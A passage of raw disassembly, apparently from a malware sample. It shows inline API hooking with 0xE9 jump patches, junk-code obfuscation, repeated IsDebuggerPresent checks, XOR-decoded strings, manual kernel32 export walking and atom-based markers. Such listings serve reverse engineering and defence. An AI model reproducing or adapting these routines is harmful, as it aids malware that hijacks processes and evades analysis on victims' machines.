CODE XREF: sub_402639+28Aj ; sub_402639+293j ... inc ebx cmp ebx, 400h jb loc_402654 loc_402931: ; CODE XREF: sub_402639+60j pop edi pop esi pop ebx leave retn sub_402639 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402936 proc near ; CODE XREF: sub_403010+318p var_30 = dword ptr -30h var_2A = word ptr -2Ah var_28 = byte ptr -28h var_21 = byte ptr -21h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp sub esp, 30h push ebx push esi push edi call sub_40C1F4 ; GetProcessHeap call sub_40C218 ; GetTickCount mov eax, [ebp+arg_0] mov [ebp+var_4], eax jmp short loc_40297C ; --------------------------------------------------------------------------- loc_402951: ; CODE XREF: sub_402936+51j call sub_40C1F4 ; GetProcessHeap xor ebx, ebx jmp short loc_402964 ; --------------------------------------------------------------------------- loc_40295A: ; CODE XREF: sub_402936+34j mov eax, [ebp+var_4] cmp byte ptr [eax+ebx], 0 jnz short loc_40296C inc ebx loc_402964: ; CODE XREF: sub_402936+22j cmp ebx, 3E8h jbe short loc_40295A loc_40296C: ; CODE XREF: sub_402936+2Bj call sub_40C218 ; GetTickCount cmp ebx, 3E8h jnb short loc_40298E inc [ebp+var_4] loc_40297C: ; CODE XREF: sub_402936+19j mov eax, [ebp+arg_4] sub eax, 3E8h cmp [ebp+var_4], eax jbe short loc_402951 jmp loc_402B0D ; --------------------------------------------------------------------------- loc_40298E: ; CODE XREF: sub_402936+41j add [ebp+var_4], 0Ah movzx edi, [ebp+arg_8] shl edi, 2 mov ebx, ds:dword_40F2F0[edi] and [ebp+var_8], 0 loc_4029A4: ; CODE XREF: sub_402936+11Bj mov eax, ebx add eax, [ebp+var_8] push eax call sub_401DE8 pop ecx mov eax, [ebp+var_8] movzx eax, byte ptr [ebx+eax] cmp eax, 0E8h jz short loc_4029EE cmp eax, 0E9h jz short loc_4029EE call sub_40C1F4 ; GetProcessHeap and [ebp+var_C], 0 jmp short loc_4029E2 ; --------------------------------------------------------------------------- loc_4029D0: ; CODE XREF: sub_402936+B4j mov eax, [ebp+var_8] add eax, [ebp+var_C] mov edx, [ebp+var_4] mov cl, [ebx+eax] mov [edx+eax], cl inc [ebp+var_C] loc_4029E2: ; CODE XREF: sub_402936+98j mov eax, ds:dword_40DFC0 cmp [ebp+var_C], eax jb short loc_4029D0 jmp short loc_402A45 ; --------------------------------------------------------------------------- loc_4029EE: ; CODE XREF: sub_402936+86j ; sub_402936+8Dj mov [ebp+var_30], 29E6h add [ebp+var_30], 7F97h mov eax, [ebp+var_8] mov edx, [ebp+var_4] mov cl, [ebx+eax] mov [edx+eax], cl call sub_40C1F4 ; GetProcessHeap mov eax, [ebp+var_8] lea eax, [ebx+eax+1] mov eax, [eax] mov [ebp+var_10], eax mov eax, [ebp+var_8] mov edx, [ebp+var_10] mov ecx, [ebp+var_4] add ecx, eax sub edx, ecx mov ecx, ebx add ecx, eax mov eax, edx add eax, ecx mov [ebp+var_1C], eax call sub_40C218 ; GetTickCount mov eax, [ebp+var_4] mov edx, [ebp+var_8] lea eax, [eax+edx+1] mov edx, [ebp+var_1C] mov [eax], edx loc_402A45: ; CODE XREF: sub_402936+B6j mov eax, ds:dword_40DFC0 add [ebp+var_8], eax cmp [ebp+var_8], 5 jb loc_4029A4 call sub_40C1F4 ; GetProcessHeap mov eax, [ebp+var_8] or edx, 0FFFFFFFFh mov ecx, [ebp+var_4] add ecx, eax sub edx, ecx mov ecx, ebx add ecx, eax mov eax, edx add eax, ecx sub eax, 4 mov [ebp+var_10], eax lea edi, [ebp+var_21] lea esi, a@? ; "@~?^" mov ecx, 5 rep movsb mov eax, [ebp+var_4] mov edx, [ebp+var_8] mov byte ptr [edx+eax], 0E9h lea edi, [ebp+var_28] lea esi, aINW ; "I&n-*w" mov ecx, 7 rep movsb mov eax, [ebp+var_4] mov edx, [ebp+var_8] lea eax, [eax+edx+1] mov edx, [ebp+var_10] mov [eax], edx mov [ebp+var_14], 1122h inc [ebp+var_14] or eax, 0FFFFFFFFh sub eax, ebx mov edx, [ebp+var_4] mov ecx, [ebp+var_8] lea edx, [edx+ecx+5] add eax, edx sub eax, 4 mov [ebp+var_10], eax mov byte ptr [ebx], 0E9h mov ds:1[ebx], eax mov ax, word_43C11B mov [ebp+var_2A], ax push ecx push [ebp+var_4] movzx edi, [ebp+arg_8] shl edi, 4 push off_43BE9C[edi] call sub_402639 add esp, 0Ch mov [ebp+var_18], 1FB2h sub [ebp+var_18], 5E84h loc_402B0D: ; CODE XREF: sub_402936+53j pop edi pop esi pop ebx leave retn sub_402936 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402B12 proc near ; CODE XREF: sub_40A4E2+505p var_21C8 = dword ptr -21C8h var_21C4 = dword ptr -21C4h var_21C0 = word ptr -21C0h var_21BE = word ptr -21BEh var_21BC = byte ptr -21BCh var_21B6 = word ptr -21B6h var_21B4 = dword ptr -21B4h var_21AE = byte ptr -21AEh var_21AD = byte ptr -21ADh var_21AC = dword ptr -21ACh var_21A8 = dword ptr -21A8h var_21A2 = byte ptr -21A2h var_21A0 = dword ptr -21A0h var_219A = dword ptr -219Ah var_2194 = dword ptr -2194h var_218F = byte ptr -218Fh var_218E = word ptr -218Eh var_218C = dword ptr -218Ch var_2188 = dword ptr -2188h var_2078 = dword ptr -2078h var_2072 = byte ptr -2072h var_205C = dword ptr -205Ch var_2058 = dword ptr -2058h var_2050 = byte ptr -2050h var_2034 = dword ptr -2034h var_2030 = dword ptr -2030h var_2025 = byte ptr -2025h var_2020 = dword ptr -2020h var_101C = dword ptr -101Ch var_1015 = byte ptr -1015h var_1014 = dword ptr -1014h var_1010 = dword ptr -1010h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp mov eax, 2594h call sub_40C118 push ebx push esi push edi call sub_40C1F4 ; GetProcessHeap call sub_4022D1 mov [ebp+var_2058], 49FFh inc [ebp+var_2058] mov [ebp+var_2025], 0 call sub_40C224 ; GetVersion cmp eax, 80000000h jnb short loc_402B56 mov [ebp+var_2025], 1 loc_402B56: ; CODE XREF: sub_402B12+3Bj lea edi, [ebp-2071h] lea esi, aR_0 ; "`r_0" mov ecx, 5 rep movsb mov [ebp+var_1015], 0 loc_402B70: ; CODE XREF: sub_402B12+100j cmp [ebp+var_2025], 0 jnz short loc_402B8D movzx edi, [ebp+var_1015] shl edi, 4 cmp byte_43BEA0[edi], 1 jz short loc_402BAA loc_402B8D: ; CODE XREF: sub_402B12+65j cmp [ebp+var_2025], 0 jz short loc_402BAC movzx edi, [ebp+var_1015] shl edi, 4 cmp byte_43BEA0[edi], 2 jnz short loc_402BAC loc_402BAA: ; CODE XREF: sub_402B12+79j jmp short loc_402BF9 ; --------------------------------------------------------------------------- loc_402BAC: ; CODE XREF: sub_402B12+82j ; sub_402B12+96j movzx edi, [ebp+var_1015] mov esi, edi shl esi, 4 push off_43BE98[esi] call sub_40C2C0 ; LoadLibraryA mov ds:dword_413DB0[edi*4], eax movzx edi, [ebp+var_1015] mov esi, edi shl esi, 4 push off_43BE94[esi] shl edi, 2 push ds:dword_413DB0[edi] call sub_40C1E8 ; GetProcAddress mov ds:dword_40F2F0[edi], eax call sub_40C1B8 ; RtlGetLastWin32Error loc_402BF9: ; CODE XREF: sub_402B12:loc_402BAAj add [ebp+var_1015], 1 movzx edi, [ebp+var_1015] shl edi, 4 cmp off_43BE94[edi], 0 jnz loc_402B70 call sub_40C224 ; GetVersion mov [ebp+var_1015], 0 loc_402C24: ; CODE XREF: sub_403010+394j movzx edi, [ebp+var_1015] shl edi, 2 cmp ds:dword_40F2F0[edi], 0 jz loc_40338B call sub_40C1F4 ; GetProcessHeap movzx edi, [ebp+var_1015] shl edi, 2 mov edi, ds:dword_413DB0[edi] mov [ebp+var_2034], edi cmp [ebp+var_2025], 0 jz loc_402F35 call sub_40C188 ; GetCurrentProcessId call sub_402355 mov [ebp+var_2030], eax shr edi, 16h shl edi, 16h mov [ebp+var_8], edi mov [ebp+var_21A8], 787h mov eax, [ebp+var_21A8] mov edx, eax add edx, eax mov [ebp+var_21A8], edx mov eax, edi add eax, 400000h mov [ebp+var_1014], eax xor ebx, ebx jmp short loc_402CE3 ; --------------------------------------------------------------------------- loc_402CA9: ; CODE XREF: sub_402B12+1DAj call sub_40C188 ; GetCurrentProcessId mov eax, dword_43C004 add eax, 0FF8h push eax push [ebp+var_8] call sub_40C29C ; IsBadReadPtr mov [ebp+var_4], eax call sub_40C218 ; GetTickCount xor [ebp+var_4], 1 shl [ebp+var_4], 2 mov edi, [ebp+var_4] mov [ebp+ebx*4+var_1010], edi inc ebx add [ebp+var_8], 1000h loc_402CE3: ; CODE XREF: sub_402B12+195j mov eax, [ebp+var_1014] cmp [ebp+var_8], eax jbe short loc_402CA9 lea eax, [ebp+var_21A2] push eax call sub_40C278 ; GlobalMemoryStatus mov [ebp+var_21AC], 315Fh inc [ebp+var_21AC] and [ebp+var_101C], 0 jmp loc_402E67 ; --------------------------------------------------------------------------- loc_402D16: ; CODE XREF: sub_402B12+366j lea edi, [ebp-21BBh] lea esi, aQyg6 ; "QYG6" mov ecx, 5 rep movsb push 0FFFFh push [ebp+var_101C] push [ebp+var_2030] call sub_4024F3 add esp, 0Ch mov [ebp+var_C], eax mov [ebp+var_21B6], 1E1Bh movzx eax, [ebp+var_21B6] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_21B6], ax cmp [ebp+var_C], 0 jnz short loc_402D8A mov [ebp+var_21BE], 40D7h movzx eax, [ebp+var_21BE] imul eax, 78A8h mov [ebp+var_21BE], ax jmp loc_402E5D ; --------------------------------------------------------------------------- loc_402D8A: ; CODE XREF: sub_402B12+254j and [ebp+var_21B4], 0 loc_402D91: ; CODE XREF: sub_403010+376j mov eax, [ebp+var_21B4] mov [ebp+var_8], eax jmp loc_402E36 ; --------------------------------------------------------------------------- loc_402D9F: ; CODE XREF: sub_402B12+32Bj mov byte ptr [ebp+var_21BE+1], 0FDh add byte ptr [ebp+var_21BE+1], 14h xor ebx, ebx loc_402DAF: ; CODE XREF: sub_402B12+2FEj mov [ebp+var_21C0], 4AA8h movzx eax, [ebp+var_21C0] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_21C0], ax mov edi, [ebp+var_8] shr edi, 2 shl edi, 2 add edi, [ebp+var_C] mov edi, [edi+ebx*4] mov [ebp+var_4], edi mov [ebp+var_21C4], 0AFDh inc [ebp+var_21C4] and [ebp+var_4], 4 mov edi, [ebp+ebx*4+var_1010] cmp [ebp+var_4], edi jnz short loc_402E12 mov eax, dword_43C127 mov [ebp+var_21C8], eax inc ebx cmp ebx, 400h jb short loc_402DAF loc_402E12: ; CODE XREF: sub_402B12+2EAj cmp ebx, 3FFh jb short loc_402E2F call sub_40C224 ; GetVersion mov eax, [ebp+var_8] add eax, 1000h mov [ebp+var_21B4], eax jmp short loc_402E9F ; --------------------------------------------------------------------------- loc_402E2F: ; CODE XREF: sub_402B12+306j add [ebp+var_8], 1000h loc_402E36: ; CODE XREF: sub_402B12+288j cmp [ebp+var_8], 0F000h jbe loc_402D9F push [ebp+var_C] call sub_402563 pop ecx lea edi, [ebp+var_21BC] lea esi, byte_43C12B xor ecx, ecx inc ecx rep movsb loc_402E5D: ; CODE XREF: sub_402B12+273j add [ebp+var_101C], 10000h loc_402E67: ; CODE XREF: sub_402B12+1FFj mov eax, [ebp+var_219A] sub eax, 0FFFFh cmp [ebp+var_101C], eax jbe loc_402D16 push [ebp+var_2030] call sub_40C1DC ; CloseHandle lea edi, [ebp+var_21AD] lea esi, byte_43C12C xor ecx, ecx inc ecx rep movsb jmp loc_40338B ; --------------------------------------------------------------------------- loc_402E9F: ; CODE XREF: sub_402B12+31Bj movzx edi, [ebp+var_1015] shl edi, 2 mov edi, ds:dword_40F2F0[edi] mov [ebp+var_1014], edi and [ebp+var_1014], 0 loc_402EBD: ; CODE XREF: sub_402B12+421j lea edi, [ebp+var_21B6] lea esi, aH@d8u ; "#h<@D8u" movsd movsd mov edi, [ebp+var_1014] shl edi, 2 mov esi, [ebp+var_8] shr esi, 2 shl esi, 2 add esi, [ebp+var_C] mov esi, [esi+edi] mov [ebp+edi+var_2020], esi call sub_40C1F4 ; GetProcessHeap mov edi, [ebp+var_1014] shl edi, 2 mov esi, [ebp+var_8] shr esi, 2 shl esi, 2 add esi, [ebp+var_C] add edi, esi or byte ptr [edi], 2 mov [ebp+var_21AE], 0D6h movzx eax, [ebp+var_21AE] mov edx, eax add edx, eax mov eax, edx mov [ebp+var_21AE], al inc [ebp+var_1014] cmp [ebp+var_1014], 400h jb short loc_402EBD loc_402F35: ; CODE XREF: sub_402B12+14Dj cmp [ebp+var_2025], 0 jnz loc_402FF8 mov [ebp+var_218E], 5C42h movzx eax, [ebp+var_218E] imul eax, 7CAFh mov [ebp+var_218E], ax push offset aKernel32_dll ; "kernel32.dll" call sub_40C1D0 ; GetModuleHandleA mov [ebp+var_2188], eax mov edx, eax add edx, ds:3Ch[eax] mov [ebp+var_2194], edx call sub_40C1F4 ; GetProcessHeap mov eax, [ebp+var_2188] mov edx, [ebp+var_2194] add edx, 78h add eax, [edx] mov [ebp+var_219A+2], eax mov [ebp+var_218C], 1261h mov eax, [ebp+var_218C] mov edx, eax add edx, eax mov [ebp+var_218C], edx mov eax, [ebp+var_2188] mov edx, [ebp+var_219A+2] add edx, 1Ch add eax, [edx] mov [ebp-219Ch], eax mov eax, [ebp+var_2188] mov edx, [ebp-219Ch] add eax, [edx] mov [ebp+var_21A0], eax mov [ebp+var_218F], 40h add [ebp+var_218F], 0AEh mov [ebp+var_2078], eax call sub_40C2B4 ; IsDebuggerPresent loc_402FF8: ; CODE XREF: sub_402B12+42Aj push 1Ch lea eax, [ebp+var_2050] loc_403000: ; DATA XREF: .data:loc_43F3EEr ; sub_43F411+8Cw ... push eax call sub_40C320 ; DATA XREF: .data:0043E449r ; .data:loc_43E485r ... mov [ebp+var_205C], 595Eh ; DATA XREF: .data:0043E4A4r ; .data:0043E572w ... sub_402B12 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_403010 proc near ; DATA XREF: .data:0043E545o ; sub_43F411+10o add dword ptr [ebp-205Ch], 5E98h mov eax, [ebp-2034h] mov [ebp-202Ch], eax mov dword ptr [ebp-2060h], 3943h inc dword ptr [ebp-2060h] loc_403036: ; CODE XREF: sub_403010+73j ; sub_403010+A5j push 1Ch lea eax, [ebp-2050h] push eax push dword ptr [ebp-202Ch] call sub_40C380 ; VirtualQuery mov eax, [ebp-2034h] cmp [ebp-204Ch], eax jnz short loc_4030BA mov word ptr [ebp-2062h], 1C82h sub word ptr [ebp-2062h], 3C33h mov eax, [ebp-2044h] mov [ebp-2068h], eax add [ebp-202Ch], eax cmp byte ptr [ebp-2025h], 0 jnz short loc_403036 call sub_40C2B4 ; IsDebuggerPresent push 20060000h push 0 mov edi, [ebp-2068h] shr edi, 0Ch push edi mov edi, [ebp-2050h] shr edi, 0Ch push edi push 1000Dh call dword ptr [ebp-2078h] call sub_40C218 ; GetTickCount jmp loc_403036 ; --------------------------------------------------------------------------- loc_4030BA: ; CODE XREF: sub_403010+46j movzx edi, byte ptr [ebp-1015h] shl edi, 2 mov esi, [ebp-202Ch] sub esi, [ebp-2034h] mov ds:dword_411840[edi], esi lea edi, [ebp-2080h] lea esi, aMg6g_ox ; "mƒ6g.oX" movsd movsd movzx edi, byte ptr [ebp-1015h] shl edi, 2 mov edi, ds:dword_40F2F0[edi] mov [ebp-1014h], edi mov eax, dword_43C004 add eax, 0FF8h push eax push edi call sub_40C2A8 ; IsBadWritePtr mov [ebp-206Ch], eax mov dword ptr [ebp-2054h], 7D39h mov eax, [ebp-2054h] mov edx, eax add edx, eax mov [ebp-2054h], edx cmp dword ptr [ebp-206Ch], 0 jnz loc_403335 call sub_40C2B4 ; IsDebuggerPresent cmp byte ptr [ebp+8], 0 jz loc_403314 mov dword ptr [ebp-2188h], 3864h sub dword ptr [ebp-2188h], 3442h mov eax, [ebp-1014h] movzx eax, byte ptr [eax] cmp eax, 0E9h jz short loc_403191 call sub_40C224 ; GetVersion cmp byte ptr [ebp+8], 1 jnz loc_403314 mov dword ptr [ebp-2594h], 439Eh inc dword ptr [ebp-2594h] jmp loc_403335 ; --------------------------------------------------------------------------- loc_403191: ; CODE XREF: sub_403010+15Bj mov eax, [ebp-1014h] mov edx, ds:1[eax] sub edx, 0FFFFFFFFh lea eax, [edx+eax+4] mov [ebp-2024h], eax mov byte ptr [ebp-2183h], 0 loc_4031B2: ; CODE XREF: sub_403010+238j sub dword ptr [ebp-2024h], 5 mov eax, [ebp-2024h] mov [ebp-4], eax loc_4031C2: ; CODE XREF: sub_403010+1EBj mov eax, [ebp-4] mov edx, eax dec edx cmp byte ptr [edx], 0 jnz short loc_4031F3 mov edx, eax sub edx, 2 cmp byte ptr [edx], 0 jnz short loc_4031F3 mov edx, eax sub edx, 3 cmp byte ptr [edx], 0 jnz short loc_4031F3 mov edx, eax sub edx, 4 cmp byte ptr [edx], 0 jnz short loc_4031F3 sub eax, 5 cmp byte ptr [eax], 0 jz short loc_4031FD loc_4031F3: ; CODE XREF: sub_403010+1BBj ; sub_403010+1C5j ... call sub_40C1B8 ; RtlGetLastWin32Error dec dword ptr [ebp-4] jmp short loc_4031C2 ; --------------------------------------------------------------------------- loc_4031FD: ; CODE XREF: sub_403010+1E1j movzx edi, byte ptr [ebp-2183h] shl edi, 2 mov esi, [ebp-4] mov [ebp+edi-258Ch], esi add byte ptr [ebp-2183h], 1 movzx eax, byte ptr [esi] cmp eax, 0E9h jnz short loc_40324D call sub_40C194 ; GetCurrentThreadId mov eax, esi mov edx, ds:1[eax] sub edx, 0FFFFFFFFh lea eax, [edx+eax+4] mov [ebp-2024h], eax mov eax, dword_43C13D mov [ebp-2593h], eax jmp loc_4031B2 ; --------------------------------------------------------------------------- loc_40324D: ; CODE XREF: sub_403010+210j mov ebx, [ebp-4] jmp short loc_403275 ; --------------------------------------------------------------------------- loc_403252: ; CODE XREF: sub_403010+26Bj call sub_40C194 ; GetCurrentThreadId mov eax, [ebp-1014h] add eax, ebx sub eax, [ebp-4] mov dl, [ebx] mov [eax], dl mov byte ptr [ebp-2590h], 0E6h add byte ptr [ebp-2590h], 40h inc ebx loc_403275: ; CODE XREF: sub_403010+240j cmp ebx, [ebp-2024h] jb short loc_403252 loc_40327D: ; CODE XREF: sub_403010+2DEj sub byte ptr [ebp-2183h], 1 movzx edi, byte ptr [ebp-2183h] shl edi, 2 mov ebx, [ebp+edi-258Ch] loc_403295: ; CODE XREF: sub_403010+2D3j mov byte ptr [ebx], 0 call sub_40C224 ; GetVersion cmp byte ptr ds:1[ebx], 0 jnz short loc_4032CF cmp byte ptr ds:2[ebx], 0 jnz short loc_4032CF cmp byte ptr ds:3[ebx], 0 jnz short loc_4032CF cmp byte ptr ds:4[ebx], 0 jnz short loc_4032CF cmp byte ptr ds:5[ebx], 0 jz short loc_4032E5 loc_4032CF: ; CODE XREF: sub_403010+295j ; sub_403010+29Fj ... lea edi, [ebp-258Fh] lea esi, byte_43C141 mov ecx, 3 rep movsb inc ebx jmp short loc_403295 ; --------------------------------------------------------------------------- loc_4032E5: ; CODE XREF: sub_403010+2BDj movzx eax, byte ptr [ebp-2183h] or eax, eax jg short loc_40327D mov byte ptr [ebp-2189h], 0ECh add byte ptr [ebp-2189h], 0F8h cmp byte ptr [ebp+8], 1 jz short loc_403335 mov dword ptr [ebp-2190h], 5818h inc dword ptr [ebp-2190h] loc_403314: ; CODE XREF: sub_403010+133j ; sub_403010+166j movzx eax, byte ptr [ebp-1015h] push eax push dword ptr [ebp-202Ch] push dword ptr [ebp-2034h] call sub_402936 add esp, 0Ch call sub_40C2B4 ; IsDebuggerPresent loc_403335: ; CODE XREF: sub_403010+124j ; sub_403010+17Cj ... cmp byte ptr [ebp-2025h], 0 jz short loc_40338B call sub_40C2B4 ; IsDebuggerPresent and dword ptr [ebp-1014h], 0 loc_40334A: ; CODE XREF: sub_403010+369j mov edi, [ebp-1014h] shl edi, 2 mov esi, [ebp-8] shr esi, 2 shl esi, 2 add esi, [ebp-0Ch] mov edx, [ebp+edi-2020h] mov [esi+edi], edx inc dword ptr [ebp-1014h] cmp dword ptr [ebp-1014h], 400h jb short loc_40334A mov eax, dword_43C144 mov [ebp-2186h], eax jmp loc_402D91 ; --------------------------------------------------------------------------- loc_40338B: ; CODE XREF: sub_402B12+124j ; sub_402B12+388j ... add byte ptr [ebp-1015h], 1 movzx edi, byte ptr [ebp-1015h] shl edi, 4 cmp off_43BE94[edi], 0 jnz loc_402C24 mov ax, word_43C148 mov [ebp-2082h], ax pop edi pop esi pop ebx leave retn sub_403010 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4033BC proc near ; CODE XREF: sub_40352B+54p ; sub_4035A9+3Dp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push eax push esi push edi mov esi, [ebp+arg_4] mov [ebp+var_4], 98h push esi push [ebp+arg_0] mov eax, dword_43C154 lea eax, ds:41C850h[eax] push eax call sub_40C674 add esp, 0Ch xor edi, edi jmp short loc_403404 ; --------------------------------------------------------------------------- loc_4033EA: ; CODE XREF: sub_4033BC+4Aj mov eax, dword_43C154 add eax, edi lea eax, ds:41C850h[eax] movsx edx, byte ptr [eax] xor edx, 0A6h mov [eax], dl inc edi loc_403404: ; CODE XREF: sub_4033BC+2Cj cmp edi, esi jl short loc_4033EA mov eax, dword_43C154 add eax, esi mov byte ptr ds:dword_41C850[eax], 0 mov edi, dword_43C154 mov eax, edi add eax, 3 add eax, esi mov dword_43C154, eax inc dword_43C154 cmp dword_43C154, 0E02h jle short loc_403442 and dword_43C154, 0 loc_403442: ; CODE XREF: sub_4033BC+7Dj mov [ebp+var_8], 3E7h lea eax, dword_41C850[edi] pop edi pop esi leave retn sub_4033BC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403453 proc near ; CODE XREF: sub_40352B+36p ; sub_4035A9+26p var_1D = byte ptr -1Dh var_18 = dword ptr -18h var_14 = byte ptr -14h var_F = byte ptr -0Fh var_C = dword ptr -0Ch var_6 = word ptr -6 var_4 = word ptr -4 var_2 = word ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h push ebx push esi push edi mov ebx, [ebp+arg_0] call sub_40C188 ; GetCurrentProcessId lea edi, [ebp+var_F] lea esi, byte_43C158 mov ecx, 3 rep movsb mov ecx, ebx or eax, 0FFFFFFFFh loc_403479: ; CODE XREF: sub_403453+2Bj inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_403479 mov edi, eax mov [ebp+var_6], di mov [ebp+var_C], 1A6Ch mov eax, 4325h mul [ebp+var_C] mov [ebp+var_18], eax mov eax, [ebp+var_18] mov [ebp+var_C], eax mov ax, [ebp+var_6] mov [ebp+var_2], ax jmp short loc_4034D1 ; --------------------------------------------------------------------------- loc_4034A8: ; CODE XREF: sub_403453+84j movzx eax, [ebp+var_2] cmp byte ptr [ebx+eax], 5Ch jnz short loc_4034CD lea edi, [ebp+var_1D] lea esi, aVp ; "$'vp" mov ecx, 5 rep movsb inc [ebp+var_2] call sub_40C218 ; GetTickCount jmp short loc_4034D9 ; --------------------------------------------------------------------------- loc_4034CD: ; CODE XREF: sub_403453+5Dj dec [ebp+var_2] loc_4034D1: ; CODE XREF: sub_403453+53j movzx eax, [ebp+var_2] or eax, eax jg short loc_4034A8 loc_4034D9: ; CODE XREF: sub_403453+78j mov ax, [ebp+var_2] cmp ax, [ebp+var_6] jnb short loc_403516 mov [ebp+var_4], 0 jmp short loc_403504 ; --------------------------------------------------------------------------- loc_4034EB: ; CODE XREF: sub_403453+C1j movzx eax, [ebp+var_4] mov edx, [ebp+arg_4] movzx ecx, [ebp+var_2] mov esi, eax add esi, ecx mov cl, [ebx+esi] mov [edx+eax], cl inc [ebp+var_4] loc_403504: ; CODE XREF: sub_403453+96j movzx eax, [ebp+var_4] movzx edx, [ebp+var_6] movzx ecx, [ebp+var_2] sub edx, ecx cmp eax, edx jle short loc_4034EB loc_403516: ; CODE XREF: sub_403453+8Ej lea edi, [ebp+var_14] lea esi, aY@j? ; "y@j?" mov ecx, 5 rep movsb pop edi pop esi pop ebx leave retn sub_403453 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40352B proc near ; CODE XREF: sub_403BAD+98p ; sub_403D6F+264p ... var_10B = byte ptr -10Bh var_10A = dword ptr -10Ah var_106 = word ptr -106h var_104 = byte ptr -104h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10Ch push esi push edi mov eax, dword_43C165 mov [ebp+var_10A], eax lea edi, [ebp+var_10B] lea esi, byte_43C169 xor ecx, ecx inc ecx rep movsb call sub_40C1B8 ; RtlGetLastWin32Error lea eax, [ebp+var_104] push eax push [ebp+arg_0] call sub_403453 mov [ebp+var_106], 5B91h sub [ebp+var_106], 7236h push 2 push offset word_4464E2 call sub_4033BC push eax lea edi, [ebp+var_104] push edi call sub_40C6D4 add esp, 18h call sub_40C194 ; GetCurrentThreadId lea eax, [ebp+var_104] push eax call sub_40C254 ; GlobalAddAtomA pop edi pop esi leave retn sub_40352B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4035A9 proc near ; CODE XREF: sub_4096E4+2A7p ; sub_4096E4+365p ... var_10A = dword ptr -10Ah var_106 = word ptr -106h var_104 = byte ptr -104h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10Ch push ebx push esi push edi call sub_40C2B4 ; IsDebuggerPresent mov eax, dword_43C16A mov [ebp+var_10A], eax lea eax, [ebp+var_104] push eax push [ebp+arg_0] call sub_403453 mov edi, 0F8Fh mov eax, edi add eax, edi mov edi, eax push 2 push offset word_4464E2 call sub_4033BC push eax lea edx, [ebp+var_104] push edx call sub_40C6D4 add esp, 18h call sub_40C1B8 ; RtlGetLastWin32Error loc_403600: ; CODE XREF: sub_4035A9+9Ej lea eax, [ebp+var_104] push eax call sub_40C26C ; GlobalFindAtomA mov edx, eax mov [ebp+var_106], dx mov esi, 36CFh add esi, 3758h cmp [ebp+var_106], 0 jz short loc_403649 call sub_40C188 ; GetCurrentProcessId movzx eax, [ebp+var_106] push eax call sub_40C260 ; GlobalDeleteAtom mov ebx, 2ABDh add ebx, 3B08h jmp short loc_403600 ; --------------------------------------------------------------------------- loc_403649: ; CODE XREF: sub_4035A9+7Fj pop edi pop esi pop ebx leave retn sub_4035A9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40364E proc near ; CODE XREF: sub_4036DA+C1p ; sub_4037D7+30p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi push edi mov esi, [ebp+arg_4] push esi push [ebp+arg_0] mov eax, dword_43C178 lea eax, ds:40E0D0h[eax] push eax call sub_40C674 add esp, 0Ch mov [ebp+var_4], 360h xor edi, edi jmp short loc_403695 ; --------------------------------------------------------------------------- loc_40367B: ; CODE XREF: sub_40364E+49j mov eax, dword_43C178 add eax, edi lea eax, ds:40E0D0h[eax] movsx edx, byte ptr [eax] xor edx, 0CBh mov [eax], dl inc edi loc_403695: ; CODE XREF: sub_40364E+2Bj cmp edi, esi jl short loc_40367B mov eax, dword_43C178 add eax, esi mov byte ptr ds:dword_40E0D0[eax], 0 mov edi, dword_43C178 add dword_43C178, 3 mov eax, dword_43C178 inc eax add eax, esi mov dword_43C178, eax cmp eax, 0DFBh jle short loc_4036D0 and dword_43C178, 0 loc_4036D0: ; CODE XREF: sub_40364E+79j lea eax, dword_40E0D0[edi] pop edi pop esi leave retn sub_40364E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4036DA proc near ; CODE XREF: sub_4037D7+3Dp var_4B = byte ptr -4Bh var_46 = byte ptr -46h var_45 = byte ptr -45h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_35 = byte ptr -35h var_3 = byte ptr -3 var_2 = byte ptr -2 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 4Ch push ebx push esi push edi mov ebx, [ebp+arg_4] lea edi, [ebp+var_45] lea esi, a4d_w ; "4D_w" mov ecx, 5 rep movsb lea edi, [ebp+var_46] lea esi, byte_43C181 xor ecx, ecx inc ecx rep movsb call sub_40C218 ; GetTickCount mov eax, 11h sub eax, dword_43C174 push eax lea eax, [ebp+var_35] push eax push [ebp+arg_0] call sub_40C620 add esp, 0Ch mov [ebp+var_3C], 3288h sub [ebp+var_3C], 7967h lea ecx, [ebp+var_35] or eax, 0FFFFFFFFh loc_403738: ; CODE XREF: sub_4036DA+63j inc eax cmp byte ptr [ecx+eax], 0 jnz short loc_403738 mov edx, eax mov [ebp+var_2], dl mov [ebp+var_40], 48D8h inc [ebp+var_40] mov [ebp+var_1], 0 jmp short loc_40376A ; --------------------------------------------------------------------------- loc_403754: ; CODE XREF: sub_4036DA+9Aj movzx eax, [ebp+var_1] movzx edx, [ebp+var_2] sub edx, eax dec edx mov al, [ebp+eax+var_35] mov [ebx+edx], al add [ebp+var_1], 1 loc_40376A: ; CODE XREF: sub_4036DA+78j movzx eax, 